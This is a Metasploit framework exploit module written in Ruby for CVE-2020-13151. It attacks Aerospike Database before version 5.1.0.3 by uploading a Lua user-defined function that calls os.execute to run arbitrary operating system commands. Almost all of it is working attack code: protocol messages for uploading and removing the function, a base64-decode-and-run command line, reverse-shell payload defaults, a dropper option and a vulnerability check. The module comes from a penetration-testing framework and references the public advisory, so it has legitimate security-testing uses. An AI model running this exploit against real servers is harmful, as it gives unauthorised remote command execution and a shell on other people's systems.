##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Aerospike Database UDF Lua Code Execution',
        'Description' => %q{
          Aerospike Database versions before 5.1.0.3 permitted
          user-defined functions (UDF) to call the `os.execute`
          Lua function.

          This module creates a UDF utilising this function to
          execute arbitrary operating system commands with the
          privileges of the user running the Aerospike service.

          This module does not support authentication; however
          Aerospike Database Community Edition does not enable
          authentication by default.

          This module has been tested successfully on Ubuntu
          with Aerospike Database Community Edition versions
          4.9.0.5, 4.9.0.11 and 5.0.0.10.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'b4ny4n', # Discovery and exploit
          'bcoles' # Metasploit
        ],
        'References' => [
          ['EDB', '49067'],
          ['CVE', '2020-13151'],
          ['PACKETSTORM', '160106'],
          ['URL', 'https://www.aerospike.com/enterprise/download/server/notes.html#5.1.0.3'],
          ['URL', 'https://github.com/b4ny4n/CVE-2020-13151'],
          ['URL', 'https://b4ny4n.github.io/network-pentest/2020/08/01/cve-2020-13151-poc-aerospike.html'],
          ['URL', 'https://www.aerospike.com/docs/operations/manage/udfs/'],
        ],
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },
              'Type' => :unix_command
            }
          ],
          [
            'Linux (Dropper)',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
              'Type' => :linux_dropper
            }
          ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2020-07-31',
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        },
        'DefaultTarget' => 0
      )
    )
    register_options(
      [
        Opt::RPORT(3000)
      ]
    )
    register_advanced_options(
      [
        OptString.new('UDF_DIRECTORY', [true, 'Directory where Lua UDF files are stored', '/opt/aerospike/usr/udf/lua/'])
      ]
    )
  end

  def build
    header = ['02010000'].pack('H*')
    data = "build\x0a"
    len = [data.length].pack('N')
    sock.put(header + len + data)
    sock.get_once
  end

  def remove_udf(name)
    header = ['02010000'].pack('H*')
    data = "udf-remove:filename=#{name};\x0a"
    len = [data.length].pack('N')
    sock.put(header + len + data)
    sock.get_once
  end

  def list_udf
    header = ['02010000'].pack('H*')
    data = "udf-list\x0a"
    len = [data.length].pack('N')
    sock.put(header + len + data)
    sock.get_once
  end

  def upload_udf(name, data, type = 'LUA')
    header = ['02010000'].pack('H*')
    content = Rex::Text.encode_base64(data)
    data = "udf-put:filename=#{name};content=#{content};content-len=#{content.length};udf-type=#{type};\x0a"
    len = [data.length].pack('N')
    sock.put(header + len + data)
    sock.get_once
  end

  def features
    header = ['02010000'].pack('H*')
    data = "features\x0a"
    len = [data.length].pack('N')
    sock.put(header + len + data)
    sock.get_once
  end

  def execute_command(cmd, _opts = {})
    fname = "#{rand_text_alpha(12..16)}.lua"
    print_status("Creating UDF '#{fname}' ...")

    # NOTE: we manually remove the lua file as unregistering the UDF
    # does not remove the lua file from disk.
    cmd_exec = Rex::Text.encode_base64("rm '#{datastore['UDF_DIRECTORY']}/#{fname}'; #{cmd}")

    # NOTE: this jank to execute the payload in the background is required as
    # sometimes the payload is executed twice (before the UDF is unregistered).
    #
    # Executing the payload in the foreground causes the thread to block while
    # the second payload tries and fails to connect back.
    #
    # This would cause the subsequent call to unregister the UDF to fail,
    # permanently backdooring the system (that's bad).
    res = upload_udf(fname, %{os.execute("echo #{cmd_exec}|base64 -d|sh&")})

    return unless res.to_s.include?('error')

    if /error=(?<error>.+?);.*message=(?<message>.+?)$/ =~ res
      print_error("UDF registration failed: #{error}: #{Rex::Text.decode_base64(message)}")
    else
      print_error('UDF registration failed')
    end
  ensure
    # NOTE: unregistering the UDF is super important as leaving the UDF
    # registered causes the payload to be executed repeatedly, effectively
    # permanently backdooring the system (that's bad).
    if remove_udf(fname).to_s.include?('ok')
      vprint_status("UDF '#{fname}' removed successfully")
    else
      print_warning("UDF '#{fname}' could not be removed")
    end
  end

  def check
    connect

    res = build

    unless res
      return CheckCode::Unknown('Connection failed')
    end

    version = res.to_s.scan(/build\s*([\d.]+)/).flatten.first

    unless version
      return CheckCode::Safe('Target is not Aerospike Database')
    end

    vprint_status("Aerospike Database version #{version}")

    if Rex::Version.new(version) >= Rex::Version.new('5.1.0.3')
      return CheckCode::Safe('Aerospike version is not vulnerable (>= 5.1.0.3)')
    end

    unless features.to_s.include?('udf')
      return CheckCode::Safe('User defined functions are not supported on this Aerospike instance')
    end

    CheckCode::Appears('Aerospike version is below 5.1.0.3 and UDF support is enabled; target appears vulnerable')
  end

  def exploit
    # NOTE: maximum packet size is 65,535 bytes and we lose some space to
    # packet overhead, command stager overhead, and double base64 encoding.
    max_size = 35_000 # 35,000 bytes double base64 encoded is 63,874 bytes.
    if payload.encoded.length > max_size
      fail_with(Failure::BadConfig, "Payload size (#{payload.encoded.length} bytes) is large than maximum permitted size (#{max_size} bytes)")
    end

    print_status("Sending payload (#{payload.encoded.length} bytes) ...")
    case target['Type']
    when :unix_command
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager(linemax: max_size, background: true)
    end
  end
end
